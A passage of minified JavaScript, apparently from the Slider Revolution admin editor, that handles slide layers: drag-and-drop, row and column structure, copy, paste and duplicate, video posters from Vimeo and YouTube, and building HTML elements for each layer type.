0!==RVS.S.DaD.target.rowID&&(RVS.S.DaD.timer=setTimeout(function(){RVS.S.DaD.lastRegisteredRow=RVS.S.DaD.target.rowID,void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow===RVS.S.DaD.target.rowID?(RVS.S.DaD.lastRegisteredRowBefore&&-1!==RVS.S.DaD.lastRegisteredRowBefore&&"group"!==RVS.S.DaD.lastRegisteredRowBefore&&(RVS.H[RVS.S.DaD.lastRegisteredRowBefore].w[0].className=RVS.H[RVS.S.DaD.lastRegisteredRowBefore].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),clearTimeout(RVS.S.DaD.timerLeaveRow),RVS.S.DaD.timerLeaveRowStarted=!1,RVS.S.DaD.target.into="column",RVS.S.DaD.toContainerID=RVS.S.DaD.target.columnID,RVS.S.DaD.toContainerType=RVS.S.DaD.target.columnType,S()):(RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerType="root",RVS.S.DaD.toContainerID=-1,S()),RVS.S.DaD.lastRegisteredRowBefore=RVS.S.DaD.lastRegisteredRow},250)),!0!==RVS.S.DaD.timerLeaveRowStarted&&-1!==RVS.S.DaD.lastRegisteredRow&&void 0!==RVS.S.DaD.target&&RVS.S.DaD.lastRegisteredRow!==RVS.S.DaD.target.rowID&&void 0===RVS.S.DaD.target.rowID&&(RVS.S.DaD.timerLeaveRowStarted=!0,RVS.S.DaD.timerLeaveRow=setTimeout(function(){-1!==RVS.S.DaD.lastRegisteredRow&&"group"!==RVS.S.DaD.lastRegisteredRow&&(RVS.H[RVS.S.DaD.lastRegisteredRow].w[0].className=RVS.H[RVS.S.DaD.lastRegisteredRow].w[0].className.split("dont_blur").join("").split("drop_over_layer").join("")),RVS.S.DaD.lastRegisteredRow=-1,RVS.S.DaD.target.into="free",RVS.S.DaD.toContainerType="root",RVS.S.DaD.toContainerID=-1,RVS.S.DaD.timerLeaveRowStarted=!1,S()},500))})}),RVS.DOC.on("updateLayerPosition",function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.selLayers[e];RVS.F.updateHTMLLayerPosition({uid:t,updateValues:!1,lhCwidth:RVS.H[t].c.outerWidth(),lhCheight:RVS.H[t].c.outerHeight()})}}),RVS.DOC.on("intelligentInheritUpdate",function(e,t){for(var i in void 0!==t&&(!0===t.val?RVS.F.setToIntelligentUpdate():RVS.F.disableIntelligentUpdate()),RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}),RVS.DOC.on("inheritValuesFromDesktop",function(e,t){RVS.F.resetLayersDeviceSizesToDesktop()}),RVS.DOC.on("resetIntelligentInherits",function(e,t){RVS.F.resetIntelligentInherits()}),RVS.DOC.on("updateAllInheritedSize",function(e,t){RVS.F.updateAllInheritedSize()}),RVS.DOC.on("updateColumnStructure",function(){RVS.F.openBackupGroup({id:"RowStructure",txt:"Change Row(s) Structure",icon:"view_column"});var e=RVS.F.figureColumnSizes({plain:jQuery("#row_column_structure").val()});for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i="column"===RVS.L[RVS.selLayers[t]].type?RVS.L[RVS.selLayers[t]].group.puid:RVS.selLayers[t];if("row"===RVS.L[i].type){var a=RVS.F.getColumnsInRow({layerid:i});if(a.length>e.cols.length)for(var r=a[e.cols.length-1],s=a.length-1;s>=e.cols.length;s--)RVS.F.deleteLayerfromLayers({layerid:a[s],newpuid:r});else if(a.length<e.cols.length)for(var s=a.length;s<e.cols.length;s++)RVS.F.addLayerToLayers({type:"column",puid:i,alias:"column"});a=RVS.F.getColumnsInRow({layerid:i});for(var s=0;s<a.length;s++){var o=RVS.S.slideId+".layers."+a[s]+".group.columnSize";RVS.F.updateSliderObj({path:o,val:e.cols[s]})}}}RVS.F.closeBackupGroup({id:"RowStructure"}),RVS.F.buildLayerLists({force:!0}),RVS.F.reOrderHTMLLayers()}),RVS.DOC.on("updateLayerAliasFromSingleInput",function(e,t){null!=t.layerid&&(document.getElementById("layerlist_element_alias_"+RVS.S.slideId+"_"+t.layerid).innerHTML=RVS.L[t.layerid].alias,document.getElementById("layerlist_element_alias_input_"+RVS.S.slideId+"_"+t.layerid).value=RVS.L[t.layerid].alias,"group"===RVS.L[t.layerid].type&&(document.getElementById("_group_head_title_"+RVS.S.slideId+"_"+t.layerid).innerHTML=RVS.L[t.layerid].alias))}),RVS.DOC.on("do_select_all_layer",function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&RVS.F.selectLayers({id:e,overwrite:!1,action:"add",ignoreUpdate:"onlyhtml",ignoreFieldUpdates:!0,ignoreModeChange:!0});RVS.F.selectLayers({})}),RVS.DOC.on("do_delete_layer",function(){RVS.DOC.trigger("previewStopLayerAnimation"),RVS.F.openBackupGroup({id:"removeLayer",txt:"Remove Multiple Layers",icon:"delete",lastkey:"layer"});var e,t=[],i=[];for(var a in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a];-1==RVS.L[r].group.puid?t.push(r):"row"!==RVS.L[r].type&&"column"!==RVS.L[r].type||(e="row"===RVS.L[r].type?r:RVS.L[r].group.puid,-1===jQuery.inArray(e,i)&&i.push(e),t.push(r))}for(var a in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a];if(-1!==RVS.L[r].group.puid&&"column"!==RVS.L[r].type&&"row"!==RVS.L[r].type){var s="column"===RVS.L[RVS.L[r].group.puid].type?RVS.L[RVS.L[r].group.puid].group.puid:RVS.L[r].group.puid;-1===jQuery.inArray(s,t)&&t.push(r)}}for(var o in t)t.hasOwnProperty(o)&&RVS.F.deleteLayerfromLayers({layerid:t[o]});if(i.length>0)for(var o in i)i.hasOwnProperty(o)&&void 0!==RVS.L[i[o]]&&(0===RVS.F.getColumnsInRow({layerid:i[o]}).length?RVS.F.deleteLayerfromLayers({layerid:i[o]}):RVS.F.fixColumnsInRows({layerid:i[o]}));RVS.F.closeBackupGroup({id:"removeLayer"}),RVS.F.buildLayerLists({force:!0})}),RVS.DOC.on("updateColumnBreak",function(e,t){RVS.F.openBackupGroup({id:"ColumnBreak",txt:"Row Breakpoint",icon:"layers",lastkey:"layer"});var i=[];for(var a in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)&&("row"===RVS.L[RVS.selLayers[a]].type||"column"===RVS.L[RVS.selLayers[a]].type)){var r="column"===RVS.L[RVS.selLayers[a]].type?RVS.L[RVS.selLayers[a]].group.puid:RVS.selLayers[a],s=RVS.S.slideId+".layers."+r+".";RVS.F.updateSliderObj({path:s+"group.columnbreakat",val:t.val}),i.push(r)}for(var o in RVS.F.closeBackupGroup({id:"ColumnBreak"}),i)if(i.hasOwnProperty(o)){var n=RVS.F.getColumnsInRow({layerid:i[o]});for(var l in n)n.hasOwnProperty(l)&&(RVS.L[n[l]].group.columnbreakat=t.val,RVS.F.drawHTMLLayer({uid:n[l]}));RVS.F.drawHTMLLayer({uid:i[o]})}}),RVS.DOC.on("squareselection",function(){p({id:"#select_by_draw",remove:"#select_by_cursor, #select_by_cursor_add",add:!1,multi:!0})}),RVS.DOC.on("cursorselection",function(){p({id:"#select_by_cursor",remove:"#select_by_draw, #select_by_cursor_add",add:!1,multi:!1})}),RVS.DOC.on("cursorselectionadd",function(){p({id:"#select_by_cursor_add",remove:"#select_by_draw, #select_by_cursor",add:!0,multi:!1})}),RVS.DOC.on("lockLayer",function(e,t){RVS.F.lockUnlockLayers(t)}),RVS.DOC.on("showHideLayer",function(e,t){RVS.F.showHideLayers(t)}),RVS.DOC.on("frameAnimToCustom",function(e,t){}),RVS.DOC.on("click",".getLayerImageFromVimeo",function(){jQuery.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+jQuery("#layer_youtubevimeo_id").val()+".json",success:function(e){jQuery("#layer_video_poster").val(e[0].thumbnail_large).trigger("change")}})}),RVS.DOC.on("click",".getLayerImageFromYouTube",function(){var e=jQuery("#layer_youtubevimeo_id").val();jQuery("#layer_video_poster").val(location.protocol+"//img.youtube.com/vi/"+e+"/maxresdefault.jpg").trigger("change")}),RVS.DOC.on("click",".removeLayerPoster",function(){RVS.F.openBackupGroup({id:"VideoPosterChange",txt:"Change Video Poster",icon:"layers",lastkey:"layer"}),jQuery("#layer_video_poster").val(RVS.ENV.img_ph_url).trigger("change"),RVS.F.closeBackupGroup({id:"VideoPosterChange"})}),RVS.DOC.on("click",".resetVideoArguments",function(){var e=jQuery('input[name="layer_video_type"]:checked').val(),t="vimeo"===e?RVS.ENV.vimeoargs:"youtube"===e?RVS.ENV.youtubeargs:"";jQuery("#layer_video_arg").val(t).trigger("change")}),RVS.DOC.on("checkVideoID",function(e,t){if(void 0!==t&&void 0!==t.val){for(var i in RVS.F.openBackupGroup({id:"VideoTypeChange",txt:"Change Video Type",icon:"layers",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(_.uid=RVS.selLayers[i],_.l=RVS.L[_.uid],_.pre=RVS.S.slideId+".layers."+_.uid+".","vimeo"===t.val?(RVS.F.updateSliderObj({path:_.pre+"media.args",val:RVS.ENV.vimeoargs}),jQuery("#layer_video_arg").val(RVS.ENV.vimeoargs)):"youtube"===t.val&&(RVS.F.updateSliderObj({path:_.pre+"media.args",val:RVS.ENV.youtubeargs}),jQuery("#layer_video_arg").val(RVS.ENV.youtubeargs)),RVS.F.updateSliderObj({path:_.pre+"media.mediaType",val:t.val}));RVS.F.closeBackupGroup({id:"VideoTypeChange"})}var a=jQuery('input[name="layer_video_type"]:checked').val(),r=jQuery("#layer_youtubevimeo_id").val();"vimeo"===a&&RVS.F.checkVimeoID({id:r}),"youtube"===a&&RVS.F.checkYouTubeID({id:r})}),RVS.DOC.on("do_duplicate_layer",function(){var e,t=[],i=[],a=[],r=[];for(var s in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){var o=RVS.selLayers[s];t.push({type:RVS.L[o].type,duplicateId:o,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0}),i.push(o),"column"===RVS.L[o].type&&(e="row"===RVS.L[o].type?o:RVS.L[o].group.puid,-1===jQuery.inArray(e,r)&&r.push(e))}for(var n in RVS.F.openBackupGroup({id:"addLayer",txt:"Duplicate Layer(s)",icon:"layers",lastkey:"layer"}),t)if(t.hasOwnProperty(n)){var l=RVS.L[i[n]].group.puid;-1!==l&&-1!=jQuery.inArray(l,i)||a.push(RVS.F.addLayer(t[n]))}if(r.length>0)for(var n in r)r.hasOwnProperty(n)&&void 0!==RVS.L[r[n]]&&RVS.F.fixColumnsInRows({layerid:r[n]});for(var n in RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.reOrderHTMLLayers(),a)a.hasOwnProperty(n)&&RVS.F.selectLayers({id:a[n],overwrite:!1,action:"add",ignoreUpdate:!0,ignoreFieldUpdates:!0});RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.updateZIndexTable(),RVS.F.closeBackupGroup({id:"addLayer"})}),RVS.DOC.on("do_copy_layer",function(){window.copyPasteLayers={amount:0,layers:{}};var e=[],t=[];for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];e.push({type:RVS.L[a].type,duplicateId:a,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,copyPaste:"copy"}),t.push(a)}for(var r in e)if(e.hasOwnProperty(r)){var s=RVS.L[t[r]].group.puid;-1!==s&&-1!=jQuery.inArray(s,t)||RVS.F.addLayer(e[r])}jQuery("#do_paste_layer").removeClass("disabled")}),RVS.DOC.on("do_paste_layer",function(){var e,t=[],i=[],a=[],r=RVS.F.getFirstSelectedType("row"),s=RVS.F.getFirstSelectedType("column"),o=[];for(var n in window.backupCopyPaste=jQuery.extend(!0,{},window.copyPasteLayers.layers),r=!1===r&&!1!==s?RVS.L[s].group.puid:r,s=!1===s?RVS.F.getFirstSelectedType("group"):s,window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(n)){var l=window.copyPasteLayers.layers[n].type,d=window.copyPasteLayers.layers[n].group.puid;switch(l){case"column":void 0!==window.copyPasteLayers.layers[d]&&"row"===window.copyPasteLayers.layers[d].type||-1!==(d=!1!==r?r:RVS.F.addLayerToLayers({type:"row",alias:"row",buildHTMLLayer:!1,copyPaste:"copy"}))&&-1===jQuery.inArray(d,o)&&o.push(d);break;case"group":case"row":break;default:if((d=d>=0&&d<=5e3&&(void 0===window.copyPasteLayers.layers[d]||"group"!==window.copyPasteLayers.layers[d].type&&"column"!==window.copyPasteLayers.layers[d].type)?!1!==s?s:-1:-1===d&&!1!==s?s:d)===s)for(var S in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(S)){var c=RVS.V.sizes[S];window.copyPasteLayers.layers[n].position.horizontal[c].v="center",window.copyPasteLayers.layers[n].position.vertical[c].v="middle",window.copyPasteLayers.layers[n].position.x[c].v=0,window.copyPasteLayers.layers[n].position.y[c].v=0}}window.copyPasteLayers.layers[n].group.puid=d}for(var n in window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(n)){var p=window.copyPasteLayers.layers[n].uid;t.push({type:window.copyPasteLayers.layers[n].type,duplicateId:p,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,copyPaste:"paste"}),i.push(p)}for(var R in RVS.F.openBackupGroup({id:"addLayer",txt:"Paste Layer(s)",icon:"layers",lastkey:"layer"}),t)if(t.hasOwnProperty(R)){var d=window.copyPasteLayers.layers[i[R]].group.puid;if(e=-1,-1===d||-1==jQuery.inArray(d,i)||"column"===t[R].type&&void 0!==RVS.L[d]&&"row"===RVS.L[d].type){var u=RVS.F.addLayer(t[R]);a.push(u),e="row"===RVS.L[u].type?u:d}-1!==(e=void 0!==RVS.L[d]&&"row"===RVS.L[d].type?d:e)&&-1===jQuery.inArray(e,o)&&o.push(e)}if(o.length>0)for(var R in o)o.hasOwnProperty(R)&&void 0!==RVS.L[o[R]]&&RVS.F.fixColumnsInRows({layerid:o[R]});for(var R in RVS.F.closeBackupGroup({id:"addLayer"}),RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.reOrderHTMLLayers(),a)a.hasOwnProperty(R)&&RVS.F.selectLayers({id:a[R],overwrite:!1,action:"add",ignoreUpdate:!0});RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),window.copyPasteLayers.layers=jQuery.extend({},window.backupCopyPaste)}),RVS.DOC.on("insertContentFromOL",function(e,t){if("fonticons"==t.libraryType){var i="MaterialIcons"===t.tags[0]?"material-icons":t.handle.replace(".",""),a="MaterialIcons"===t.tags[0]?t.handle.replace(".",""):"";for(var r in RVS.F.openBackupGroup({id:"PreStyleLAyer",txt:"Prestyle Object Layer",icon:"layers",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&(RVS.F.updateLayerObj({path:"text",val:'<i class="'+i+'">'+a+"</i>",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"type",val:"text",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"idle.fontSize."+RVS.screen+".v",val:"50px",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"idle.lineHeight."+RVS.screen+".v",val:"50px",ignoreRedraw:!0}),RVS.H[RVS.selLayers[r]].c[0].innerHTML='<i class="'+i+'">'+a+"</i>",RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]}));RVS.F.closeBackupGroup({id:"PreStyleLAyer"})}else if("svgs"===t.libraryType||"svgcustom"===t.libraryType){RVS.F.openBackupGroup({id:"PreStyleLAyer",txt:"Prestyle Object Layer",icon:"layers",lastkey:"layer"});var s=[];for(var r in RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&(s.push(RVS.selLayers[r]),"svgcustom"===t.libraryType?RVS.F.updateLayerObj({path:"idle.svg.originalColor",val:!0,ignoreRedraw:!0}):RVS.F.updateLayerObj({path:"idle.svg.originalColor",val:!1,ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"svg.source",val:t.img,ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"type",val:"svg",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"size.width."+RVS.screen+".v",val:"100px",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"size.height."+RVS.screen+".v",val:"100px",ignoreRedraw:!0}));RVS.F.updateLayerSVGSrc({uids:s,src:t.img}),RVS.F.closeBackupGroup({id:"PreStyleLAyer"})}RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.updateLayerInputFields()}),r()},RVS.F.allSelectedHasHover=function(){var e=!0;for(var t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e=(!0===RVS.L[RVS.selLayers[t]].hover.usehover||"true"===RVS.L[RVS.selLayers[t]].hover.usehover||"desktop"===RVS.L[RVS.selLayers[t]].hover.usehover)&&e);return e},RVS.F.buildHTMLLayer=function(e){var t=RVS.L[e.uid],i=void 0!==RVS.H&&void 0!==RVS.H[e.uid]&&void 0!==RVS.H[e.uid].w?RVS.H[e.uid].w[0]:document.getElementById("_lc_"+RVS.S.slideId+"_"+e.uid+"_");if(RVS.H=null==RVS.H?{}:RVS.H,1==e.force||null==RVS.H||void 0===RVS.H[e.uid]||null===i){if(1==e.force||null==RVS.H||void 0===RVS.H[e.uid]){null!==i&&i.parentNode.removeChild(i);var s=RVS.F.cE({id:"_lc_"+RVS.S.slideId+"_"+e.uid+"_",cN:"_lc_ _lc_type_"+t.type,ds:{type:t.type,uid:e.uid,pid:t.group.puid,multiplemark:!0}}),o=RVS.F.cE({cN:"_lc_locked_bg_"}),n=RVS.F.cE({cN:"_lc_locked_"}),l=RVS.F.cI({c:"lock_outline"}),d=RVS.F.cE({t:"span",cN:"_tb_ _borders_"}),S=RVS.F.cE({t:"span",cN:"_bb_ _borders_"}),c=RVS.F.cE({t:"span",cN:"_rb_ _borders_"}),p=RVS.F.cE({t:"span",cN:"_lb_ _borders_"}),R=RVS.F.cE({cN:"_lc_loop_"}),u=RVS.F.cE({cN:"_lc_mask_"}),V=RVS.F.cE({cN:"_lc_iw_"}),y=RVS.F.cE({cN:"_lc_content_"});if("column"===t.type||"row"===t.type)var m=RVS.F.cE({t:"span",cN:"_c_margins _topm_"}),f=RVS.F.cE({t:"span",cN:"_c_margins _botm_"}),h=RVS.F.cE({t:"span",cN:"_c_margins _lefm_"}),g=RVS.F.cE({t:"span",cN:"_c_margins _rigm_"}),v=RVS.F.cE({t:"span",cN:"_c_paddings _topp_"}),_=RVS.F.cE({t:"span",cN:"_c_paddings _botp_"}),L=RVS.F.cE({t:"span",cN:"_c_paddings _lefp_"}),w=RVS.F.cE({t:"span",cN:"_c_paddings _rigp_"});n.appendChild(l),R.appendChild(u),u.appendChild(V),V.appendChild(y),s.appendChild(o),s.appendChild(n),s.appendChild(d),s.appendChild(S),s.appendChild(c),s.appendChild(p),s.appendChild(R),"column"!==t.type&&"row"!==t.type||(s.appendChild(m),s.appendChild(f),s.appendChild(h),s.appendChild(g),s.appendChild(L),s.appendChild(w),s.appendChild(_),s.appendChild(v)),-1===t.group.puid||"row"===t.type?"row"==t.type?a({container:RVS.C.rZone[t.group.puid],layer:s,uid:e.uid,type:"._lc_type_row"}):RVS.C.layergrid[0].appendChild(s):"column"===t.type?a({container:RVS.H[t.group.puid].c,layer:s,uid:e.uid,type:"._lc_type_column"}):a({container:RVS.H[t.group.puid].c,layer:s,uid:e.uid,type:"._lc_"}),void 0!==t.idle.style&&t.idle.style.length>0&&(s.className+=" "+t.idle.style),RVS.H[e.uid]={w:jQuery(s),last_puid:t.group.puid,last_groupOrder:t.group.groupOrder},RVS.H[e.uid].m=u,RVS.H[e.uid].lp=R,RVS.H[e.uid].iw=V,RVS.H[e.uid].c=jQuery(y),"column"!==t.type&&"row"!==t.type||(RVS.H[e.uid].margins={top:m,bottom:f,left:h,right:g},RVS.H[e.uid].paddings={top:v,bottom:_,left:L,right:w}),RVS.H[e.uid].borders={top:d,bottom:S,left:p,right:c}}var b,F;switch(t.type){case"svg":RVS.H[e.uid].c[0].innerHTML=t.svg.renderedData,RVS.H[e.uid].svg=RVS.H[e.uid].w.find("svg"),RVS.H[e.uid].svgPath=RVS.H[e.uid].w.find(t.idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path");break;case"image":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"filter_hdr"}})),null===RVS.H[e.uid].w[0].querySelector("._lc_image_inside_")&&((b=RVS.F.cE({t:"img",cN:"_lc_image_inside_",ds:{ow:t.size.originalWidth,oh:t.size.originalHeight}})).src=t.media.imageUrl,RVS.H[e.uid].c[0].appendChild(b)),t.media.imageUrl===RVS.ENV.img_ph_url&&RVS.H[e.uid].c[0].classList.add("placeholder_on");break;case"video":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"videocam"}})),null===RVS.H[e.uid].w[0].querySelector("._lc_video_title_")?((F=RVS.F.cE({cN:"_lc_video_title_"})).textContent=t.media.mediaType,RVS.H[e.uid].c[0].appendChild(F),RVS.H[e.uid].vtitle=F):void 0===RVS.H[e.uid].vtitle&&(RVS.H[e.uid].vtitle=RVS.H[e.uid].w[0].querySelector("._lc_video_title_")),null===RVS.H[e.uid].w[0].querySelector("._lc_video_placeholder_")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_video_placeholder_"})),null===RVS.H[e.uid].w[0].querySelector("._lc_video_overlay")?(RVS.H[e.uid].volay=RVS.F.cE({cN:"_lc_video_overlay"}),RVS.H[e.uid].c[0].appendChild(RVS.H[e.uid].volay)):void 0===RVS.H[e.uid].volay&&(RVS.H[e.uid].volay=RVS.H[e.uid].w[0].querySelector("._lc_video_overlay")),t.media.posterUrl===RVS.ENV.img_ph_url&&RVS.H[e.uid].c[0].classList.add("placeholder_on");break;case"audio":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"audiotrack"}})),null===RVS.H[e.uid].w[0].querySelector("audio")&&RVS.H[e.uid].c.append("<audio controls></audio>"),!1===t.media.controls?RVS.H[e.uid].c[0].classList.add("placeholder_on"):RVS.H[e.uid].c[0].classList.remove("audio_controls_on");break;case"group":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bg)):RVS.H[e.uid].bg=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")),null===RVS.H[e.uid].w[0].querySelector("._lc_group_placeholder")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_lc_group_placeholder",icon:{c:"format_shapes"}})),null===RVS.H[e.uid].w[0].querySelector("._group_lock_")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_group_lock_",icon:{c:"layers"}})),null===RVS.H[e.uid].w[0].querySelector("._group_head_")&&RVS.H[e.uid].w.append('<div class="_group_head_"><span id="_group_head_title_'+RVS.S.slideId+"_"+e.uid+'" class="_group_head_title_">'+t.alias+'</span><div data-uid="'+e.uid+'" class="_group_lock_toggle_"><i class="group_lock_icon material-icons">layers_clear</i><i class="group_lockopen_icon material-icons">layers</i></div></div>');break;case"row":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bg)):RVS.H[e.uid].bg=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg"));break;case"column":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg_wrap")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].bgmask=RVS.F.cE({cN:"_lc_extra_bg_wrap"}),RVS.H[e.uid].bgmask.appendChild(RVS.H[e.uid].bg),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bgmask)):(RVS.H[e.uid].bgmask=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg_wrap"),RVS.H[e.uid].bg=RVS.H[e.uid].bgmask.querySelector(":scope > ._lc_extra_bg")));break;case"shape":null===RVS.H[e.uid].w[0].querySelector("._lc_stream_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_stream_placeholder",icon:{c:"cast"}})),t.idle.bgFromStream&&RVS.H[e.uid].c[0].classList.add("placeholder_on")}t.linebreak&&RVS.H[e.uid].w[0].classList.add("rs-linebreak")}void 0===RVS.S.initDragAndResizeonHTMLLayers&&(RVS.S.initDragAndResizeonHTMLLayers=!0,RVS.DOC.on("mouseenter","._lc_",function(){if(void 0===this.dataset.dragandresize&&(this.dataset.dragandresize=!0,"column"!==this.dataset.type&&"row"!==this.dataset.type&&RVS.F.doDraggable({uid:this.dataset.uid,drag:!0,resize:!0}),jQuery.inArray(this.dataset.type,["text","button","svg","shape","group"])>=0&&(void 0===RVS.H[this.dataset.uid].sclr||null===RVS.H[this.dataset.uid].w[0].querySelector(":scope >._lc_reScaler")))){var e=RVS.F.cE({cN:"_lc_reScaler"}),t=RVS.F.cE({cN:"_lc_reScaler_pin"}),i=RVS.F.cE({cN:"_lc_reScaler_icon"});e.appendChild(t),e.appendChild(i),RVS.H[this.dataset.uid].w[0].appendChild(e),RVS.H[this.dataset.uid].sclr=jQuery(t),r(RVS.H[this.dataset.uid].sclr)}})),"text"===t.type||"button"==t.type?(RVS.F.redrawTextLayerInnerHTML(e.uid),!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})):"svg"===t.type?void 0===t.svg.renderedData||void 0!==t.svg.source&&t.svg.source.length>4?jQuery.get(t.svg.source,function(i){RVS.H[e.uid].c[0].innerHTML=t.svg.renderedData=(new XMLSerializer).serializeToString(i.documentElement),RVS.H[e.uid].svg=RVS.H[e.uid].w.find("svg"),RVS.H[e.uid].svgPath=RVS.H[e.uid].w.find(t.idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"),RVS.F.drawHTMLLayer({uid:e.uid})}):!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid}):"image"===t.type&&void 0!==t.media.imageUrl&&null!==t.media.imageUrl&&t.media.imageUrl.length>0&&void 0!==t.media&&!0!==t.media.loaded?(tpGS.gsap.set(RVS.H[e.uid].w,{visibility:"hidden"}),RVS.F.preloadImage({uid:e.uid,slideId:RVS.S.slideId,image:t.media.imageUrl,silent:!1,callback:function(){tpGS.gsap.set(RVS.H[e.uid].w,{visibility:"visible"}),!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})}})):!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})},RVS.F.reOrderHTMLLayer=function(e){if(null!=RVS.H&&void 0!==RVS.H[e.uid]&&void 0!==RVS.H[e.uid].w){var t=RVS.L[e.uid],i=RVS.H[e.uid].w,r=RVS.H[e.uid].last_puid===t.group.puid&&RVS.H[e.uid].last_groupOrder===t.group.groupOrder;RVS.H[e.uid].last_puid=t.group.puid,RVS.H[e.uid].last_groupOrder=t.group.groupOrder,-1===t.group.puid||"row"===t.type?"row"==t.type?a({container:RVS.C.rZone[t.group.puid],layer:i[0],uid:e.uid,type:"._lc_type_row"}):RVS.C.layergrid[0].appendChild(i[0]):"column"===t.type?a({container:RVS.H[t.group.puid].c,layer:i[0],uid:e.uid,type:"._lc_type_column"}):a({container:RVS.H[t.group.puid].c,layer:i[0],uid:e.uid,type:"._lc_"}),r||RVS.S.redrawHTMLLayersList.push(e.uid)}},RVS.F.checkRowsChildren=function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&("row"==RVS.L[e].type||"group"==RVS.L[e].type)){var t=RVS.F.getLayerChildren({layerid:e}),i=0;for(var a in t)"column"!==t[a].type&&i++;i>0?RVS.H[e].w.removeClass("nocontent"):RVS.H[e].w.addClass("nocontent")}},RVS.F.addLayerToLayers=function(e){var t;return void 0!==e.layerobject?((t=jQuery.extend(!0,{},e.layerobject)).uid="copy"===e.copyPaste?window.copyPasteLayers.amount:RVS.F.getUniqueid(),(t=RVS.F.addLayerObj(t)).alias=void 0!==e.prefix?e.prefix+" "+t.alias.replace(/Copy/g,""):"Copy "+t.alias.replace(/Copy/g,"")):t=RVS.F.addLayerObj(e.type),e.extension&&(t=jQuery.extend(!0,t,e.extension)),t.group.puid=void 0!==e.puid?e.puid:t.group.puid,e.newGroupOrder&&"copy"!==e.copyPaste&&(t.group.groupOrder=function(e){e.type=void 0===e.type?"column":e.type;var t=RVS.F.getColumnsInRow({layerid:e.uid,type:e.type}),i=0;for(var a in t)t.hasOwnProperty(a)&&(i=parseInt(i,0)<=parseInt(RVS.L[t[a]].group.groupOrder,0)?parseInt(RVS.L[t[a]].group.groupOrder,0)+1:i);return i}({uid:t.group.puid,type:t.type})),t.alias=void 